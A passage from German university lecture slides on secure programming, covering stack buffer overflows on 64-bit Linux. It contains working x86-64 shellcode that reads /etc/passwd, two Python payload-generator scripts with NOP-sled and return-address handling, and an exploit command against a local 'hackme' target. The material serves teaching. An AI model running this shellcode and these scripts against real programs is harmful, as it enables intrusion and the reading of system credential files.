\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f
\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01
\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31
\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65
\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
Länge: 82 Byte
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
57 / 73
Buffer Overflows
Shellcode
Einbetten des Shellcodes
Probleme:
• Der Shellcode ist mi 82 Byte zu kurz, um einen Buffer Overflow
für die lokale Variable buffer zu erzeugen.
• Der Shellcode enthält keine Sprungadresse und ist somit noch
nicht einsetzbar.
Ansatz: Entwicklung eines Python Skripts, welches
• den Shellcode mittels Padding so verlängert, dass ein Buffer
Overflow auftritt, und
• am Ende eine passende Rücksprungadresse anfügt, um den
Shellcode zu starten.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
58 / 73
Buffer Overflows
Shellcode
Skript un1k0d3r-payload.py
#! /usr/bin/ python2
import sys
if len(sys.argv)==3:
size=int(sys.argv [1])
if size <0:
print "Invalid␣padding␣size:", size , "␣(must␣be␣ >=0)"
address=sys.argv [2]. decode("hex")
address=address [:: -1]
else:
print "Usage:", sys.argv [0], "<padding␣size >␣<address >"
print "\npadding␣size:␣size␣of␣the␣padding␣[bytes]"
print "␣address␣␣␣␣:␣return␣address␣(hex)\n\n"
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
59 / 73
Buffer Overflows
Shellcode
Skript un1k0d3r-payload.py (Forts.)
shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02"
+ "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24"
+ "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f"
+ "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0"
+ "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff"
+ "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"
\
\
\
\
\
print shellcode + "A" * size + address
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
60 / 73
Buffer Overflows
Shellcode
Skript un1k0d3r-payload.py – Erläuterungen
• Das Padding besteht aus einer Folge von As.
• Die Länge des Paddings und die Rücksprungadresse wird über die
Kommandozeile als Parameter übergeben.
• Die Adresse wird als hexadezimaler String übergeben und in das
Little Endian Format konvertiert.
• Das Ergebnis wird auf der Konsole ausgegeben und kann direkt
als Eingabe für andere Programme verwendet werden.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
61 / 73
Buffer Overflows
Shellcode
Berechnen der Länge des Paddings
• Die Länge des Paddings hängt ab von:
▷ Länge des Shellcodes
▷ Größe des zu überflutenden Buffers
▷ Anzahl und Position der lokalen Variablen im aktuellen
Stack Frame
• Oft kann man die exakte Länge des Paddings nicht berechnen, da
die benötigten Informationen nicht bekannt sind.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
62 / 73
Buffer Overflows
Shellcode
Beispiel: Berechnung des Paddings für hackme
• Im 64-Bit Linux bestehen die Speicheradressen eines Prozesses
aus 6 Byte.
• Unter Einsatz des GDB und des printA Skripts wird die Länge
des Strings ermittelt, der die gespeicherte Rücksprungadresse im
Stack Frame überschreibt. Die Länge ist 222 Byte.
• Die Länge des Paddings wird wie folgt berechnet:
Padding = 222 − Länge Shellcode − Länge Adresse
= 222 − 82 − 6
= 134
• Da die Adresse von buffer von der Länge des übergebenen
Strings abhängt, muss das Skript entsprechend angepasst werden.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
63 / 73
Buffer Overflows
Shellcode
Bemerkungen zu un1k0d3r-payload.py
• Um den Shellcode erfolgreich auszuführen, müssen die Größe des
Paddings und die Rücksprungadresse aufeinander abgestimmt
werden.
• Enthält die Rücksprungadresse ein oder mehrere Null-Bytes, dann
ist der Shellcode nicht funktionsfähig.
• Anpassung des Python Skripts:
▷ Einsatz eines NOP-Sleds (Folge von NOP Befehlen) zur
flexibleren Wahl der Rücksprungadresse
▷ Padding durch wiederholtes Schreiben der
Rücksprungadresse
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
64 / 73
Buffer Overflows
Shellcode
Aufbau des erzeugten Datenblocks
Der erweiterte Shellcode hat folgenden Aufbau:
NOP-Sled
Shell Code
Adresse
Adresse
Bemerkung: Die Adresse liegt irgendwo“ im NOP-Sled.
”
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
65 / 73
Buffer Overflows
Shellcode
Anpassung des Skripts un1k0d3r-payload.py
• Die Rücksprungadresse wird über die Kommandozeile festgelegt.
• Dem Shellcode wird eine Folge von NOPs vorangestellt, deren
Länge über die Kommandozeile angegeben wird.
• Die Länge des NOP Sleds wird bei der Berechnung des Paddings
berücksichtigt.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
66 / 73
Buffer Overflows
Shellcode
Skript un1k0d3r-payload-v2.py
#! /usr/bin/ python2
import sys
if len(sys.argv)==4:
address=sys.argv [1]. decode("hex")
address=address [:: -1]
padding_size = int(sys.argv [2])
nop_size = int (sys.argv [3])
else:
print "Usage:", sys.argv [0], "address␣padding_size␣nop_size"
sys.exit (1)
shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02"
+ "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24"
+ "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f"
+ "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0"
+ "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff"
+ "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"
\
\
\
\
\
print "\x90" * nop_size + shellcode + "A" * (padding_size -nop_size) \
+ address
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
67 / 73
Buffer Overflows
Shellcode
Ausführen des Exploits
Annahmen:
• Länge des Paddings: 134 Byte
• Adresse von buffer: 7fffffffdd00
Befehl:
> ./ hackme $(./ un1k0d3r -payload -v2.py 7fffffffdd01 134 1)
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
68 / 73
Zusammenfassung
Zusammenfassung
• Durch fehlerhafte Programmierung entstehen Schwachstellen in
C-Programmen.
• Ein Klassiker“ ist die inkorrekte Nutzung von strcpy, um
”
Strings zu kopieren.
• Über eine derartige Schwachstelle kann ein Buffer Overflow
ausgeführt werden, um Schadkode auszuführen.
• Moderne Betriebssysteme verfügen über zahlreiche
Schutzmechanismen gegen Buffer Overflows wie z.B. ASLR.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
69 / 73
Literatur
Literatur I
[Cha16]
Ryan A. Chapman. Linux System Call Table for x86_64.
2016. url:
http://blog.rchapman.org/post/36801038863/linuxsystem-call-table-for-x86-64 (besucht am 18. 08. 2016).
[GDB13]
GDB Developers, Hrsg. GDB: The GNU Debugger. GNU’s
Not Unix. 26. Nov. 2013. url:
https://www.gnu.org/software/gdb/documentation
(besucht am 22. 08. 2016).
[Hai13]
Marc Haisenko. GDB Cheatsheet. 2013. url:
http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
(besucht am 18. 08. 2016).
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
70 / 73
Literatur
Literatur II
[Hub+13]
Jan Hubička u. a. System V Application Binary Interface.
AMD64 Architecture Processor Supplement. Intel. 17. Juni
2013. url: https://software.intel.com/sites/
default/files/article/402129/mpx-linux64-abi.pdf
(besucht am 18. 08. 2016).
[Int16]
Intel, Hrsg. Intel 64 and IA-32 Architectures Software
Developer Manuals. 2016. url:
http://www.intel.com/content/www/us/en/processors/
architectures-software-developer-manuals.html
(besucht am 22. 08. 2016).
[Nar07]
Ram Narayan. Linux assemblers: A comparison of GAS and
NASM. IBM. 17. Okt. 2007. url: http:
//www.ibm.com/developerworks/library/l-gas-nasm
(besucht am 22. 08. 2016).
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
71 / 73
Literatur
Literatur III
[One96]
Aleph One. Smashing The Stack For Fun And Profit.
Phrack.org. 1996. url:
http://phrack.org/issues/49/14.html#article
(besucht am 22. 11. 2016).
[San97a]
Santa Cruz Operation, Hrsg. System V Application Binary
Interface. 18. März 1997. url:
http://www.sco.com/developers/devspecs/gabi41.pdf
(besucht am 18. 08. 2016).
[San97b]
Santa Cruz Operation, Hrsg. System V Application Binary
Interface Intel836 Architecture Processor Supplement.
19. März 1997. url: http:
//www.sco.com/developers/devspecs/abi386-4.pdf
(besucht am 18. 08. 2016).
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
72 / 73
Literatur
Literatur IV
[SPS10]
Richard Stallman, Roland Pesch und Stan Shebs. Debugging
with GDB. 2010. url: http:
//sourceware.org/gdb/current/onlinedocs/gdb.pdf.gz
(besucht am 22. 08. 2016).
[Un114]
Mr. Un1K0d3r. 64 Bits Linux Stack Based Buffer Overflow.
RingZer0 Team. 2014. url:
https://www.exploit-db.com/docs/33698.pdf (besucht
am 22. 11. 2016).
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
73 / 73
Herunterladen